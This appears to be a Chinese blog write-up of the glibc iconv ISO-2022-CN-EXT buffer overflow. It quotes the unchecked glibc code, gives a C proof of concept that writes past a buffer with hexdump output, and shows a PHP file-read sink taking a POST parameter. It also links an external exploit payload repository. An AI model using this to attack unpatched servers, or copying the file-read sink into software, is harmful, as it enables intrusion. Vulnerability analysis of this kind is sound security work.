当PHP调用iconv的时候会调用Glibc 的APi 这个api的如下:
iconv_t iconv_open(const char *tocode, const char *fromcode);
然后,您可以使用iconv()将输入缓冲区转换为输出缓冲区inbuf中的新字符集。outbuf
size_t iconv(iconv_t cd, char **restrict inbuf, size_t *restrict inbytesleft, char **restrict outbuf, size_t *restrict outbytesleft);
如果输出缓冲区不够大,iconv()将返回一个错误来
并且您将能够重新分配outbuf并通过再次调用继续转换iconv()。
该函数保证它永远不会从 读取超过inbytesleft字节inbuf,也不会向 写入超过outbytesleft字节outbuf
碰巧的是,在将数据转换为ISO-2022-CN-EXT字符集时,
iconv可能无法在写入之前检查输出缓冲区中是否有足够的空间。
实际上,ISO-2022-CN-EXT它实际上是一个字符集的集合:当它需要对一个字符进行编码时,它会选择适当的字符集,并发出一个转义序列来指示解码器需要切换到这样的字符集。
下面的代码是负责发出此类转义序列的部分。
它由 3 个if块组成,每个块将不同的转义序列写入outbuf(指向outptr)。
如果你看第一个([1]),你会看到它以另一个块为前缀,
if()该块检查输出缓冲区是否足够大以容纳 4 个字符。
其他两个if()([2][3])没有。因此,转义序列可能会越界写入。
// iconvdata/iso-2022-cn-ext.c /* See whether we have to emit an escape sequence. */ if (set != used) { /* First see whether we announced that we use this character set. */ if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1] { const char *escseq; if (outptr + 4 > outend) // <-------------------- BOUND CHECK { result = __GCONV_FULL_OUTPUT; break; } assert(used >= 1 && used <= 4); escseq = ")A\0\0)G)E" + (used - 1) * 2; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SO_ann) | (used << 8); } else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2] { const char *escseq; // <-------------------- NO BOUND CHECK assert(used == CNS11643_2_set); /* XXX */ escseq = "*H"; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SS2_ann) | (used << 8); } else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3] { const char *escseq; // <-------------------- NO BOUND CHECK assert((used >> 5) >= 3 && (used >> 5) <= 7); escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SS3_ann) | (used << 8); } }
为了触发该漏洞,我们需要iconv()在输出缓冲区结束之前强制发出转义序列。为此,我们可以使用奇异字符,例如:劄、䂚或。结果是 1 到 3 个字节的溢出,具有以下值:峛湿
一个简单的POC演示了这个错误
/* $ gcc -o poc ./poc.c && ./poc */ ... void hexdump(void *ptr, int buflen) { ... } void main() { iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8"); char input[0x10] = "AAAAA劄"; char output[0x10] = {0}; char *pinput = input; char *poutput = output; // Same size for input and output buffer: 8 bytes size_t sinput = strlen(input); size_t soutput = sinput; iconv(cd, &pinput, &sinput, &poutput, &soutput); printf("Remaining bytes (should be > 0): %zd\n", soutput); hexdump(output, 0x10); }
执行 出现后面的垃圾字符说明漏洞存在。
$ gcc -o poc ./poc.c && ./poc Remaining bytes (should be 0): -1 000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAA A.$* H... ....
<?php echo file_get_contents($_POST["file"]) ?>
Pyaload :https://github.com/weaweawe01/cnext-exploits
Glibc 的系统列表 大多都系统都是支持的。如果没有更新过glibc 应该都是可以利用的
原文: